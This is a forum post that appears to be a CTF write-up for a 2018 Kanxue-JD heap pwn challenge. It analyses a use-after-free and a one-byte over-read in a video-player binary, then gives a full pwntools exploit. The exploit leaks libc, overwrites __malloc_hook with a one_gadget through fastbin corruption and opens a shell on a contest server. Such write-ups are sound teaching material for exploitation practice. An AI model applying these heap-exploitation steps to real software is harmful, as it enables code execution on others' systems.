首页
论坛
课程
招聘
[原创]看雪.京东 2018CTF 第九题 PWN-羞耻player
2018-7-2 13:44 1294

[原创]看雪.京东 2018CTF 第九题 PWN-羞耻player

2018-7-2 13:44
1294

C++写的堆溢出考题,保护全开。

 

载入IDA分析,在程序开头0x12B0处,做了随机化的堆操作:

 

图片描述

 

如图,先256次随机大小的分配,然后随机释放掉其中的一部分。这时候堆会显得比较乱,如下:

(0x20)     fastbin[0]: 0x5555557936d0 --> 0x5555557904c0 --> 0x55555578f9f0 --> 0x55555578f9d0 --> 0x55555578f400 --> 0x55555578dc50 --> 0x55555578c8c0 --> 0x55555578b850 --> 0x0
(0x30)     fastbin[1]: 0x555555790470 --> 0x55555578f600 --> 0x55555578dc20 --> 0x55555578cf40 --> 0x55555578b820 --> 0x0
(0x40)     fastbin[2]: 0x5555557937f0 --> 0x555555790640 --> 0x55555578e1f0 --> 0x55555578d5f0 --> 0x55555578bd10 --> 0x55555578b4e0 --> 0x0
(0x50)     fastbin[3]: 0x555555792370 --> 0x5555557913a0 --> 0x55555578cd00 --> 0x0
(0x60)     fastbin[4]: 0x555555791eb0 --> 0x5555557914d0 --> 0x55555578f330 --> 0x0
(0x70)     fastbin[5]: 0x5555557910e0 --> 0x555555790500 --> 0x55555578f850 --> 0x55555578e910 --> 0x55555578cd50 --> 0x55555578c4b0 --> 0x55555578ae30 --> 0x0
(0x80)     fastbin[6]: 0x555555793380 --> 0x555555792850 --> 0x55555578f710 --> 0x55555578f1d0 --> 0x55555578c3f0 --> 0x55555578b0b0 --> 0x0
                  top: 0x555555793f10 (size : 0x170f0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x555555793ba0 (size : 0xb0) <--> 0x555555793920 (size : 0x100) <--> 0x5555557936f0 (size : 0x100) <--> 0x555555793440 (size : 0x140) <--> 0x5555557930a0 (size : 0x1b0) <--> 0x555555792f00 (size : 0xa0) <--> 0x555555792cc0 (size : 0xe0) <--> 0x5555557928d0 (size : 0x130) <--> 0x555555791c80 (size : 0x110) <--> 0x555555791bb0 (size : 0xa0) <--> 0x555555791a80 (size : 0x90) <--> 0x555555791820 (size : 0x1b0) <--> 0x555555791680 (size : 0xe0) <--> 0x555555790770 (size : 0x280) <--> 0x5555557902b0 (size : 0xe0) <--> 0x55555578fa10 (size : 0x350) <--> 0x55555578f010 (size : 0x1c0) <--> 0x55555578ed00 (size : 0x210) <--> 0x55555578eae0 (size : 0xf0) <--> 0x55555578e810 (size : 0x100) <--> 0x55555578e500 (size : 0xa0) <--> 0x55555578e3d0 (size : 0xa0) <--> 0x55555578dd50 (size : 0xa0) <--> 0x55555578d0b0 (size : 0xb0) <--> 0x55555578ce30 (size : 0x110) <--> 0x55555578cc00 (size : 0x100) <--> 0x55555578ca80 (size : 0x110) <--> 0x55555578c760 (size : 0xa0) <--> 0x55555578c110 (size : 0x90) <--> 0x55555578b870 (size : 0xa0) <--> 0x55555578b360 (size : 0xe0) <--> 0x55555578af60 (size : 0x150) <--> 0x55555578ac10 (size : 0xd0)

注意到随机分配的大小v0是8bit的,也就是0~255,那么只要分配一个比较大的,就可以consolidate,清空fastbin,并且把unsortbin放到smallbin里去。

 

尝试分配一个video,之后堆就干净了一些:

(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x555555793f80 (size : 0x17080)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x270)  smallbin[37]: 0x555555793710
(0x190)  smallbin[23]: 0x555555790ad0
(0x030)  smallbin[ 1]: 0x55555578c060  <--> 0x55555578ea20
(0x120)  smallbin[16]: 0x55555578ede0  <--> 0x555555791630  <--> 0x55555578f410
(0x090)  smallbin[ 7]: 0x55555578f7d0  <--> 0x55555578f330  <--> 0x55555578ca20
(0x080)  smallbin[ 6]: 0x55555578c4d0
(0x110)  smallbin[15]: 0x555555791f30
(0x100)  smallbin[14]: 0x55555578bee0  <--> 0x55555578cc80  <--> 0x55555578d3f0  <--> 0x55555578ced0  <--> 0x55555578b8d0  <--> 0x55555578ae50
(0x060)  smallbin[ 4]: 0x555555792f60
(0x020)  smallbin[ 0]: 0x55555578cc00  <--> 0x55555578fce0  <--> 0x555555790ef0  <--> 0x555555790fa0  <--> 0x5555557923c0
(0x0e0)  smallbin[12]: 0x55555578d160  <--> 0x55555578e240
(0x0d0)  smallbin[11]: 0x555555790d60  <--> 0x555555793170  <--> 0x555555791a60  <--> 0x55555578b510
(0x0b0)  smallbin[ 9]: 0x55555578bc20
(0x150)  smallbin[19]: 0x55555578fe60  <--> 0x55555578d890
(0x0f0)  smallbin[13]: 0x55555578d660  <--> 0x555555793020  <--> 0x55555578e4d0
(0x1a0)  smallbin[24]: 0x5555557913e0
(0x130)  smallbin[17]: 0x555555791020
(0x070)  smallbin[ 5]: 0x55555578dcd0  <--> 0x55555578e3d0  <--> 0x5555557908e0  <--> 0x555555793640
(0x240)  smallbin[34]: 0x55555578b640
(0x040)  smallbin[ 2]: 0x55555578c850  <--> 0x555555793390
(0x180)  smallbin[22]: 0x555555792980
(0x1e0)  smallbin[28]: 0x55555578eaa0
(0x0a0)  smallbin[ 8]: 0x555555790150  <--> 0x55555578e0a0  <--> 0x55555578bad0
(0x050)  smallbin[ 3]: 0x55555578dbd0  <--> 0x55555578dee0  <--> 0x55555578f700  <--> 0x555555791c40  <--> 0x5555557926e0
(0x2c0)  smallbin[42]: 0x55555578f000
(0x140)  smallbin[18]: 0x5555557906c0
(0x0c0)  smallbin[10]: 0x55555578b0b0  <--> 0x55555578c130  <--> 0x55555578bde0

回头看程序,看video相关操作。0x203C70处是它的vtable,里面4个函数分别是增改删查功能。

 

动态调试标出结构体。然后看添加video的逻辑,如下:

 

图片描述

 

其中frames最大1024,并且会更新为实际读入的内容长度。

 

但是在play功能部分,可以看到循环上界有问题:
图片描述
这里多输出了一个字节,那么可以走这里逐字节泄漏libc。

 

最后看编辑功能,如下:
图片描述
可以看到这里有明显的UAF。

 

那么,总体来说就是非常直接的一道题了,简单总结一下看到的两个明显漏洞:

  1. edit时的UAF
  2. play的时候多输出一个byte

(不知道还有没有其他漏洞)

 

于是先搞出0x410的unsortbin,然后反复edit即可逐byte泄漏出unsortbin的bk指针,也就拿到了libc偏移。

 

然后就随便玩了,fastbin重定向或者house of orange都可以,或者再泄漏堆,修改堆上的vtable也行,总之八仙过海各显神通,大家各凭本事就好。我这里是用fastbin把malloc_hook改成one_gadget,完整利用如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.arch = 'amd64'

def login():
    r.sendlineafter('Name?\n', 'qwe')

def add_video(res, fps, frames, data, des):
    r.sendlineafter('>>> ', '1')
    r.sendlineafter('>>> ', '1')
    r.sendafter(': ', res)
    r.sendafter(': ', fps)
    r.sendafter(': ', frames)
    r.sendafter(': ', data)
    r.sendafter(': ', des)

def fre(idx):
    r.sendlineafter('>>> ', '4')
    r.sendlineafter(': ', str(idx))

def show_video(idx):
    r.sendlineafter('>>> ', '3')
    r.sendlineafter(': ', str(idx))
    r.recvuntil('...\n')
    tmp = r.recvline().strip()
    tmp = xor(tmp, '\xcc')
    return tmp

def edit_video(idx, res, fps, frames, data, des):
    r.sendlineafter('>>> ', '2')
    r.sendlineafter(': ', str(idx))
    r.sendafter(': ', res)
    r.sendafter(': ', fps)
    r.sendafter(': ', frames)
    r.sendafter(': ', data)
    r.sendafter(': ', des)


def exploit(r):
    login()
    add_video('AAAAAAAA', 'AAAA', 'AAAA', 'AAAAAAAAAAA', 'AAAA')
    add_video('AAAAAAAA', 'AAAA', 'AAAA', 'AAAAAAAAAAA', 'AAAA')
    fre(0)
    leak = '\x00'
    for i in range(1, 6):
        edit_video(1, 'AAAAAAAA', 'AAAA', 'AAAA', '\x00'*i, 'AAAA')
        leak += show_video(1)[-1]
    leak += '\x00\x00'
    libc.address = u64(leak) - libc.sym['__malloc_hook'] + 0x10
    info('%016x libc.address', libc.address)
    edit_video(1, 'AAAAAAAA', 'AAAA', p32(0x70-8), p64(libc.sym['__malloc_hook']-19), 'AAAA')
    add_video('AAAAAAAA', 'AAAA', p32(0x70-8), p64(libc.sym['__malloc_hook']-19), 'AAAA')
    add_video('AAAAAAAA', 'AAAA', p32(0x70-8), '\x00'*3 + p64(libc.address+0x4526a), 'AAAA')
    r.sendlineafter('>>> ', '1')
    r.sendlineafter('>>> ', '1')

    r.interactive()
libc = ELF('./libc.so.6')
r = remote('139.199.99.130', 8989)
exploit(r)

当然因为程序开头的一些随机操作,这个利用概率性成功。提高利用成功率留作习题。

 

PS:有点残念,这题不到一个钟头就做完了,不过当时没有服务器信息,等到将近四点才拿到flag……不过还是非常感谢netwind斑竹!


看雪侠者千人榜,看看你上榜了吗?

最后于 2018-7-2 16:48 被diycode编辑 ,原因:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回